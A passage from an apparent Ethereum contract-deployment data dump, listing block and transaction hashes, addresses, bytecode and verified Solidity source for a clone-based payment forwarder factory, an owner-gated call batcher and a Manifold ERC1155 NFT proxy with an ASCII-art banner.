00604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032
| |
1 | 19,497,444 |
2b62590322343d2cda974b037fe48791494d83a14e1b3155cb3172a45572f7e3
|
954a46d9d539577ebe120592c7348081f1d0e457a4e7e8fff9044a5e28b5eaaa
|
00bdb5699745f5b860228c8f939abf1b9ae374ed
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
8660b80684f5e7fb8fe4553d3a0f0b762b6fa0e8
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,444 |
2b62590322343d2cda974b037fe48791494d83a14e1b3155cb3172a45572f7e3
|
07fecde746f339a5b2cdc67bb691fbe6ea5611871a7d791e2ca5111412ffa35c
|
0000db5c8b030ae20308ac975898e09741e70000
|
ed0e416e0feea5b484ba5c95d375545ac2b60572
|
a4637e8e8816202121e12ca02cbac4593b8aa7cd
|
608060405234801561001057600080fd5b50604051610a1a380380610a1a8339818101604052810190610032919061011c565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550326000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b6108c2806101586000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033000000000000000000000000000037bb05b2cef17c6469f4bcdb198826ce0000
|
608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033
| |
1 | 19,497,445 |
bc3b771cbf26a7526a3fe330017b38567fcb2ca9905c30a719ba2196fa86d61c
|
623757e356aed3d5b77eca4e45badba99830ef76bd0f0a7871e4ea14f3cea440
|
a2b0e43801e4061d0e34b84eaa19f70ded599e35
|
a2b0e43801e4061d0e34b84eaa19f70ded599e35
|
b4d3f25850e806955fd1e606ce1e2f385d572121
|
608060405234801561001057600080fd5b5060408051808201825260208082527ff09f90b0e299a04745535955204348414e2045444954494f4ee299a0f09f90b0818301528251808401909352600383526208e86960eb1b908301529061008760017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd6101fb565b60008051602061040b833981519152146100a3576100a3610222565b73e9ff7ca11280553af56d04ecb8be6b8c4468dcb26100dc60008051602061040b83398151915260001b6101f860201b6100ce1760201c565b80546001600160a01b0319166001600160a01b039290921691909117905560405160009073e9ff7ca11280553af56d04ecb8be6b8c4468dcb2906101269085908590602401610288565b60408051601f198184030181529181526020820180516001600160e01b031663266c45bb60e11b1790525161015b91906102b6565b600060405180830381855af49150503d8060008114610196576040519150601f19603f3d011682016040523d82523d6000602084013e61019b565b606091505b50509050806101f05760405162461bcd60e51b815260206004820152601560248201527f496e697469616c697a6174696f6e206661696c65640000000000000000000000604482015260640160405180910390fd5b5050506102d2565b90565b8181038181111561021c57634e487b7160e01b600052601160045260246000fd5b92915050565b634e487b7160e01b600052600160045260246000fd5b60005b8381101561025357818101518382015260200161023b565b50506000910152565b60008151808452610274816020860160208601610238565b601f01601f19169290920160200192915050565b60408152600061029b604083018561025c565b82810360208401526102ad818561025c565b95945050505050565b600082516102c8818460208701610238565b9190910192915050565b61012a806102e16000396000f3fe608060405260043610601f5760003560e01c80635c60da1b14603157602b565b36602b576029605f565b005b6029605f565b348015603c57600080fd5b5060436097565b6040516001600160a01b03909116815260200160405180910390f35b609560917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b60d1565b565b600060c97f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b3660008037600080366000845af43d6000803e80801560ef573d6000f35b3d6000fdfea2646970667358221220b2805f9eefbdb72cb79e3583a8238f6ab06f7fa2027eda8aacac2c790c2d38a564736f6c63430008110033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
|
608060405260043610601f5760003560e01c80635c60da1b14603157602b565b36602b576029605f565b005b6029605f565b348015603c57600080fd5b5060436097565b6040516001600160a01b03909116815260200160405180910390f35b609560917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b60d1565b565b600060c97f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b3660008037600080366000845af43d6000803e80801560ef573d6000f35b3d6000fdfea2646970667358221220b2805f9eefbdb72cb79e3583a8238f6ab06f7fa2027eda8aacac2c790c2d38a564736f6c63430008110033
|
{{
"language": "Solidity",
"sources": {
"contracts/GCH.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @title: 🐰♠GESYU CHAN EDITION♠🐰\n/// @author: manifold.xyz\n\nimport \"./manifold/ERC1155Creator.sol\";\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n// //\n// //\n// o..?ztttttttttttx:zttttttt- Otttttt>:Otttttttv! .JMMMMMMMM#93-((????????1agMMMN????uMMMBzzzzzzzzzqMMM#1????????dMMM#<??????7MMMMNx?dWXzzzzzzn-~~~dMM //\n// tt&..?Otrttrttrtt:(ttrttrtO-(trttrt>:zttrtO? .JMMMMMMMB5((+?????=?==?=uMMMMMMMMk=??dMM#zzzzzzzuQMMMMM=1??=??=?dMMMM>~<<?<???dMMMMb?ZWkXzzzzzzzw+~~~W //\n// trttO. ?trttrttrtt-+ttrttrt{.ttrtttoJtttt2` ...MMMMM9WM#+=?=?==z&dwAx=?dMMM#Y1zTMMMNdpUXQgggmXQMMMMMM5<(<_<<=??dMMM#I~_:_<~??=dMMMMNx?zWpXuzuuuzzzn-~~ //\n// ttttttO-.?OttrttttO-?ttrtttI.(tttttttI<!`-.gMMMMMM~((MME??=udWUUXzzXWWWMMMMb>_~<>?MMMNMMMMMMMMNmI??=?<~(:(_(?=?dMMM6<~(~(~(??aMMMMMMMNzXp0zzzzzuzzzzo~ //\n// 1Ortrttrt&.?ttrtrttt+(ttrttt&Jtrtrv?` ..MMMMMMMMMNgNMMMWpppWUzzzzwmmQwzMMMMNk_+(pXWMMMMSzzXWMMMMp?????(?-((+??zMMMMy<_+-<-+1dMMMMBXMMM#WSzzzzzzzzuzzzn //\n// +:?1ttrtttri.1tttrttrttrttrtZ!?tO! (MMMMMMMMMMMMMMMKzzwQgNgggNMMMMMMMMMMMMKzzzzzzMMEzzzzzzwdMMNdAAez?????gNMMMMMMNaz??=udMM#zzzzwMMMMkzzzuzzzzzzzuzz //\n// ttz+(1OtrtttO.-1ttrttrtttrttO-JZ` dMMMMMH3~~_wX$1vHMMMMMMMMMB6vWMMMMMMMMMMNzzzzzzzzzzwwQmgMMMMBzXUWpkzzzdMMMMMMMMMMMNxqMMM8zzzzzwMMMM#zzzzzuzzuzwQmz //\n// tttttO-?1rttrtrttOttttrtttrtO.,! (=dMMM#:((xwzzdpz??zMMMMMMM8?????zOTMMMMMMM#zzzzQgNMMMMMMMMMMMMMNmzzUWppMMMMM9??????dMMXXzzzzzzzQMMMMM8zzzzzzuQNMMMMM //\n// trttrtttzttrtttr>. ztrttrZ?! ..gNNMM5(J1zZ?zZCdpv?<<<z7YI????????????ZHMMMM#zzqMMMMMMMMMMMMMMMMMMMNzzzzzMMMM3??=?=?zwMMQgggyzzwgMMMMMBzzzuzwQMMMM#MMM //\n// ttrttttrttttrttttttv!?tt> ..MMMMMM8(Jz1?z11wI?dW??<;<<<<<1????????=????zTMH6??dMMMMMMMM#WBW\"\"5\"MMMMNwzzzMMM#wwz????1dMMMMMMMMMMMMMHSzzzzzudMMMMME1dMM //\n// _?1trtttrtrttrtttttt&(t` (MMMMMMH5(zzwzzzzyzwwWR??;;<<<<:+???=?=???=??????????????????????++-_~~~?MMMNyzuMMNXzzzwzzzMMMMMHMMMMKzzzzzzzzzzdMMMM8?zzzdM //\n// tO+-.??ztttrttrtrtrttt! JMMMMMB<(JwzzzzzzzzzzzpI???????1+???=??????(<<>(??????????????????????1+_~~7MMMNzwMMNQggNgmggyzzzzzMMMNzuzzzzuzzzMMMM#1wwzzzZ //\n// ttttttz-. ?1tttrtttrtI .MMMMMF(JzC?OzzuzzzzzzzpAu&&zu&&aax??????=??<<~+(????=???=????????????????1-_JMMMMNMMMMMMMMMMMMMmyzQMMM#zzzuzzzuzzdMMMfz??z=wz //\n// trtrtttrttOzt!?Otttttl .MMMMM<(AQgMMNXzzuzuzzzZYT=<jgZwwXWkz???=?????????=?????????=??=?=??=???????zzJMMMMMMMMMMMMMMMMMMNQMMMMEzzzzzzzzzzdMMMNw?=1?zz //\n// ttrttrttrttrtOJtt-.tt} MMMMMMMMMMMMMNewzzwC<~~._(MMMMMMMRUpAz?????????????=??=??=???????????=????<??<(WMMWYT97\"7=??<?WMMMMMMBzzuzzuzzuQgNMMMM#zzzzwd //\n// Otttrttttrttttttttv<?`..gMMMMMMMMHMMMMMMMNNgJ(J+MMMMMMMMMMMN?TWyzzzyOAAXkWWWWWWs=????=??=??=???=??<;<??????????+(++j._~~7MMMNmwzzzzzzzwMMMM#6TMMMNmudM //\n// _:::~<zrOttrtrtZ! ..dMMMMMMMMMM#dHHHMMMMMMMMMMMMMMMMMMMMMMMMN,~~_7TTU0uzzzzzzzUWWs????==????????=?<;<<;<;;1<<?????1pWzo_~(MMMMMNmmwzuwdMMNg&wzZMTMMMMS //\n// ttttttttttrtt<`.gMMMMMMMMMMMMMEdHXHHHMMMMMMMMMMMMqqMMMMMMMMMMMMNgggJ.-(MMNmC?wzzXUSwwXkWWpppppk&=??+?<;<:;?;;?????zpWzzzx_MMMMMMMMMMMMMMMMMMNmzI1dMMgm //\n// tttttttrttO? .MMMMMMMMBGMMMM6XHXHXHMMMMMMMMMMqqqqMMMMMNqMMMMMMMMMMM@(dMMMMNJ_~<<<?<^<?wQQgmwzXWps?????????????=??zpWzzuzwJWMMMMMMM\"9\"9MMMMMMM#MMMMMMM //\n// ttrttrttr! .JMMMMM8llluMMMM1XHXHXNMMMMM@dHWHWkqkMMMMMM#kqqqHMMMMMqqqkqMMMMMMMMNge(gMMMMMMMMNmzzWpkz??????????????zpWzzzOzzn-(((-_~~~~~_dMMMMMMMMMMMMM //\n// tttrttrt: MMMM#IllltwMMMMIXWXHXNMMMMM@dWWWWXqqHMMMMMMEqkqkqqqqqqkqkqqqqMMMMMMMMMMMMMHXkMMMMMNZOXWpc????????=??=?=WWzzZ=zZOzzzzzvzw&-~~~dMMMMMMyzzzIZ //\n// tOI?` ..+ggMMM6lllttqMMMMIXHXHXNMMMMM@jXHXHXqqkMMMMMMMXkqkqqkqqkqqkqkqkqqHMMMMMMMMMqkqqqkMMMMMMN/CXUw&zzzz&&&aAXkWUzzw1zZ?z11zzwzzzzzw+~~7MMMMM#zzzzd //\n// ` .(NMMMMMMMMMDlltttwMMM#1XqqqqHMMMMM#jXHXHWWqkHMMMMMMMXqqkqkqkkqkqqkqkqkqq0MMMMMMMMNkkqkqqMMMMMMNJ~~?7TYTTUUUUuzzzzzzzwzOzI=zZ??wzzzzzzw.~(MMMMNmwQMM //\n// .MMMMMMBY9ZOOlltttttdMMMCdMHHMHMMMMMMuXqHWHXqkqMMMMMMMMZkqqkqqqqkqkqqkqqkqHtMMNl?MMMMNqkqqkqkMMMMMN/~_(J&NNNMMNmwzzzzuzzzzzzzzwzzzzzuzzzzzn-(MMMMMMMMM //\n// MMMBIllllllllllttttdMMM@jHHHHHMMMMMM3dHNHqHqqqHMMMMMMMMZHqkqkkqqqHHNHNHqqkKrMMMz==dMMMNqkqHHHqHMMMMmJMMMMMMMMMMMMKOzzzzzzzzzzzzzzzzzzzzuzzzw~dMMNzzdMM //\n// MM5lllllllllllttttdMMMM1HHHHHMMMMMM#>dM#H#HNHHHMMMMZMMM2MNqqqkqHHH#H#HHH#MSdMM#=====dMMMNMHM#M#HM#HH@MMMMMMMMMMMMN?=zOOI??=?zOzzzuzzuzzzzzzzIJMMMMNMMM //\n// MEllltttttttttttltMMMM#jH@H@HMMMMMMzjHHH#HHHHMHMMM$dMMMPdHMHHHHMHHHHHHHH@MtdMMD=======?MMMMMHHHMHH@HH@HHH@HMHqHMMMNz?1aggNNMNmzzzzzzzzzzzuzzw-(MMMMMMM //\n// OllttttttttttttttqMMMMbWHHMHMMMMMM#>dHMHH@HH@HHMM1==dMMNJHHHHMHH@H@@H@H@HDtdMM6==uggNMMMMHMMMNMH@HH@HH@H@HHHMHqkqMMMMMMMMMMMMMMOzzuzzuzzzzzzzzzzdMMMMM //\n// ttttttlttttttltttdMMMMq@qHMMMMMMMME+HMHMHH@HH@MM@===vMMMvHMH@HH@HH@H@H@HHSwMMMIvMMH96z=====dMMMMMMMMMMMMMMMMMMNHqqHMMMMMMMMMMM#?zzzzzzuzzuzzzzzzzdMMMM //\n// tttlttttlttltttldMMMM#?HqHNHMMMMMMzjqHqH@HH@HHMMNggx=dMMNdqHHM@H@HMM@HMHMrdMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNqkkqkMMNzdMMMMMmzvwzzzzzzzuzzuzzOdMMMM //\n// ttlttlttttttttttdMMMM@>HqHMHMMMMM#>dqHqHH@H@HHMM#THMMMMMMeMqMHH@qMMHHqHHNtdMMMMMMMMMM9QgNMMMMMMMMHHHHHMNMMMMMMMMNkqqqMMMfXWMMMMMNmzzOwwzzwwzzzzwgMMMMM //\n// tttttttlttlttlttMMMMMP>HHHMHMMMMME>WqHqMHH@H@HMMN=====vMMMxWqMqMNH@HMHqM#tMMMNggNNNMMMMMMMMMMMMMMH@MqHMqHMMMMMMMNqqkqMMMN1XUMMMMMMMNx=??=z????1dMMMMMM //\n// tlttltttttttttttMMMMM$>HH@HMMMMMM$jHqHHMMNNNMMMMNgNNNNMMMMNxWHMqMqMNHMkM#tMMMMMMMMMMMMMMMMMMMMMMMHHHMMHMMMMMMMMMNHWkkHMMMs?ZZWMMMMMMMMMMMMMNzqMMMMMMMM //\n// ttttttlttlttltttMMMMM$+MHHNMMMMMM+gMMMMMMMMMMMMMMMMMMMMMMMMMmXHHHNHMHHHMKrMMMMMMMMMMMMMMMMMMMMMMMMHHMMHY\"TMMMMMMNHZWHWMMMN>+UXZyMMMMMMMMMMMMNMMMMMMEdM //\n// ttltttttttttttttMMMMMbMMMMHMMMMMMZJHHMMMMMMNNMMMMMMMMMMMMMMMMNJWHHH@HH@HZdMMMMMMMMMMMH\"\"\"\"\"\"\"\"\"1(((..(gXqMMMMMMMNHZXHXkMMMp>?>+vyyWMMMMMMBT9UtttZItttt //\n// tttlttlttOdkAlttMMMMMMMMMM@MMMMMMMMMMHHHHHHHMMMMMMMMMMMMMMMMMMMmTMHH@HHMtdMMM#HH-...(gNNqqqqqqqqqqqqqqqqqMMMMMMMNHZXHZHXMMMm+???dZZyZyZXbWOttttttttltt //\n// tttttlttldbbkkttdMMMMMMMMMHMMMMMMMHMMHWMMMMHMMMMMMMMMMMMMMMMMMMMMNWMNMMNsdMMMD==jMMMMMMNqqqqqqqqqqqqqqqqqHMMMMMMNHZWWXHXWXMMMmI>?XyZyZyyWbHOttlttttttt //\n// 